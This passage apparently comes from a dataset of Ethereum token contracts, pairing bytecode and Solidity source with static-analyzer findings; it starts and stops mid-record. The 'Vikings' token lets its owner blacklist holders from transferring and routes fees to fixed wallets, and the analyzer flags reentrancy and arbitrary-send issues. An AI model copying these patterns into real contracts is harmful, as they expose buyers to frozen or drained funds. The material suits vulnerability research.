191505060405180910390f35b3480156103ab57600080fd5b506103ca60048036038101908080359060200190929190505050610b92565b604051808215151515815260200191505060405180910390f35b3480156103f057600080fd5b506103f9610c96565b6040518082815260200191505060405180910390f35b34801561041b57600080fd5b50610450600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b6040518082815260200191505060405180910390f35b34801561047257600080fd5b506104b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce5565b005b3480156104bf57600080fd5b506104fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e98565b604051808215151515815260200191505060405180910390f35b34801561052457600080fd5b5061052d6110b2565b6040518082815260200191505060405180910390f35b34801561054f57600080fd5b506105586110b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a657600080fd5b506105af6110dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ef5780820151818401526020810190506105d4565b50505050905090810190601f16801561061c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61063261117b565b005b34801561064057600080fd5b5061067f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111bc565b604051808215151515815260200191505060405180910390f35b3480156106a557600080fd5b506106da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d3565b604051808215151515815260200191505060405180910390f35b34801561070057600080fd5b50610755600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f3565b6040518082815260200191505060405180910390f35b34801561077757600080fd5b506107966004803603810190808035906020019092919050505061127a565b005b3480156107a457600080fd5b506107e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061133f565b005b3480156107f357600080fd5b50610828600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611464565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088557600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561092d5780601f106109025761010080835404028352916020019161092d565b820191906000526020600020905b81548152906001019060200180831161091057829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000600454905090565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5957600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610aee848484611502565b600190509392505050565b600360009054906101000a900460ff1681565b6000610b188383610935565b15610b8b578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a360019050610b8c565b5b92915050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610be257600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4057600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ee857600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f7357600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111735780601f1061114857610100808354040283529160200191611173565b820191906000526020600020905b81548152906001019060200180831161115657829003601f168201915b505050505081565b60006008543481151561118a57fe5b0490506111b96000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611502565b50565b60006111c9338484611502565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481026000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631101515156112c557600080fd5b6112f1336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611502565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f1935050505015801561133b573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139a57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114bf57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561152857600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561157657600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561160457600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561165d57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156116b657600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058205aa4224d9b9ec09192582388face88c7d7ea817f11bda3f7a7e05c318a10fae70029
{"success": true, "error": null, "results": {}}
10,409
0xd152b054b2f7545b8c9949e0f43b13c001bc6bd1
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Vikings is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private setTax; uint256 private setRedis; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; // address payable private _feeAddrWallet3; string private constant _name = "Vikings"; string private constant _symbol = "$VIKINGS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2) { _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; // _feeAddrWallet3 = _add3; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), _feeAddrWallet1, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = setRedis; _feeAddr2 = setTax; uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } } if (from == owner()){ _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 toSend = amount*2/10; uint256 marketing = amount*8/10; _feeAddrWallet1.transfer(toSend); _feeAddrWallet2.transfer(marketing); // _feeAddrWallet3.transfer(toSend); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); setTax = 10; setRedis = 1; swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function removeBlacklist(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102c8578063c9567bf9146102dd578063dd62ed3e146102f2578063eb91e65114610338578063f9f92be41461035857600080fd5b8063715018a61461023a5780638da5cb5b1461024f57806395d89b4114610277578063a9059cbb146102a857600080fd5b8063313ce567116100d1578063313ce567146101c75780635932ead1146101e35780636fc3eaec1461020557806370a082311461021a57600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600781526656696b696e677360c81b60208201525b60405161014791906114e2565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461144e565b610378565b6040519015158152602001610147565b34801561018c57600080fd5b5069d3c21bcecceda10000005b604051908152602001610147565b3480156101b357600080fd5b506101706101c236600461140d565b61038f565b3480156101d357600080fd5b5060405160098152602001610147565b3480156101ef57600080fd5b506102036101fe36600461147a565b6103f8565b005b34801561021157600080fd5b50610203610449565b34801561022657600080fd5b5061019961023536600461139a565b610476565b34801561024657600080fd5b50610203610498565b34801561025b57600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561028357600080fd5b506040805180820190915260088152672456494b494e475360c01b602082015261013a565b3480156102b457600080fd5b506101706102c336600461144e565b61050c565b3480156102d457600080fd5b50610203610519565b3480156102e957600080fd5b5061020361054f565b3480156102fe57600080fd5b5061019961030d3660046113d4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034457600080fd5b5061020361035336600461139a565b610915565b34801561036457600080fd5b5061020361037336600461139a565b610960565b60006103853384846109ae565b5060015b92915050565b600061039c848484610ad2565b6103ee84336103e98560405180606001604052806028815260200161169d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c3a565b6109ae565b5060019392505050565b6000546001600160a01b0316331461042b5760405162461bcd60e51b815260040161042290611537565b60405180910390fd5b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461046957600080fd5b4761047381610c74565b50565b6001600160a01b03811660009081526002602052604081205461038990610d24565b6000546001600160a01b031633146104c25760405162461bcd60e51b815260040161042290611537565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610385338484610ad2565b600e546001600160a01b0316336001600160a01b03161461053957600080fd5b600061054430610476565b905061047381610da8565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161042290611537565b601154600160a01b900460ff16156105d35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610611308269d3c21bcecceda10000006109ae565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064a57600080fd5b505afa15801561065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068291906113b7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ca57600080fd5b505afa1580156106de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070291906113b7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561074a57600080fd5b505af115801561075e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078291906113b7565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306107b281610476565b6000806107c76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082a57600080fd5b505af115801561083e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086391906114b4565b5050600a600c55506001600d556011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611497565b5050565b6000546001600160a01b0316331461093f5760405162461bcd60e51b815260040161042290611537565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461098a5760405162461bcd60e51b815260040161042290611537565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610a715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6001600160a01b03831660009081526006602052604090205460ff1615610b5a57600080fd5b6001600160a01b0383163014610c0957600d54600a55600c54600b556000610b8130610476565b9050610b996103e869d3c21bcecceda10000006115f5565b811115610c0757601154600160a81b900460ff16158015610bc857506011546001600160a01b03858116911614155b8015610bdd5750601154600160b01b900460ff165b15610c0757610beb81610da8565b47670429d069189e0000811115610c0557610c0547610c74565b505b505b6000546001600160a01b0384811691161415610c2a576000600a819055600b555b610c35838383610f31565b505050565b60008184841115610c5e5760405162461bcd60e51b815260040161042291906114e2565b506000610c6b8486611636565b95945050505050565b6000600a610c83836002611617565b610c8d91906115f5565b90506000600a610c9e846008611617565b610ca891906115f5565b600e546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610ce3573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d1e573d6000803e3d6000fd5b50505050565b6000600854821115610d8b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610422565b6000610d95610f3c565b9050610da18382610f5f565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610df057610df0611663565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e4457600080fd5b505afa158015610e58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7c91906113b7565b81600181518110610e8f57610e8f611663565b6001600160a01b039283166020918202929092010152601054610eb591309116846109ae565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eee90859060009086903090429060040161156c565b600060405180830381600087803b158015610f0857600080fd5b505af1158015610f1c573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b610c35838383610fa1565b6000806000610f49611098565b9092509050610f588282610f5f565b9250505090565b6000610da183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110dc565b600080600080600080610fb38761110a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fe59087611167565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461101490866111a9565b6001600160a01b03891660009081526002602052604090205561103681611208565b6110408483611252565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161108591815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda10000006110b58282610f5f565b8210156110d35750506008549269d3c21bcecceda100000092509050565b90939092509050565b600081836110fd5760405162461bcd60e51b815260040161042291906114e2565b506000610c6b84866115f5565b60008060008060008060008060006111278a600a54600b54611276565b9250925092506000611137610f3c565b9050600080600061114a8e8787876112cb565b919e509c509a509598509396509194505050505091939550919395565b6000610da183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c3a565b6000806111b683856115dd565b905083811015610da15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b6000611212610f3c565b90506000611220838361131b565b3060009081526002602052604090205490915061123d90826111a9565b30600090815260026020526040902055505050565b60085461125f9083611167565b60085560095461126f90826111a9565b6009555050565b6000808080611290606461128a898961131b565b90610f5f565b905060006112a3606461128a8a8961131b565b905060006112bb826112b58b86611167565b90611167565b9992985090965090945050505050565b60008080806112da888661131b565b905060006112e8888761131b565b905060006112f6888861131b565b90506000611308826112b58686611167565b939b939a50919850919650505050505050565b60008261132a57506000610389565b60006113368385611617565b90508261134385836115f5565b14610da15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b6000602082840312156113ac57600080fd5b8135610da181611679565b6000602082840312156113c957600080fd5b8151610da181611679565b600080604083850312156113e757600080fd5b82356113f281611679565b9150602083013561140281611679565b809150509250929050565b60008060006060848603121561142257600080fd5b833561142d81611679565b9250602084013561143d81611679565b929592945050506040919091013590565b6000806040838503121561146157600080fd5b823561146c81611679565b946020939093013593505050565b60006020828403121561148c57600080fd5b8135610da18161168e565b6000602082840312156114a957600080fd5b8151610da18161168e565b6000806000606084860312156114c957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561150f578581018301518582016040015282016114f3565b81811115611521576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115bc5784516001600160a01b031683529383019391830191600101611597565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115f0576115f061164d565b500190565b60008261161257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116315761163161164d565b500290565b6000828210156116485761164861164d565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047357600080fd5b801515811461047357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b03039b40801e3bdf9b849e3e99b1a8e54ceb098dda2449cd5c7ad37ccddfe464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,410
0x54c1067e1ecac9540fefc56b39149f38bb985a80
/** *Submitted for verification at Etherscan.io on 2021-10-19 */ // https://t.me/MistakesBabyElon // https://twitter.com/MistakesBBElon // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition 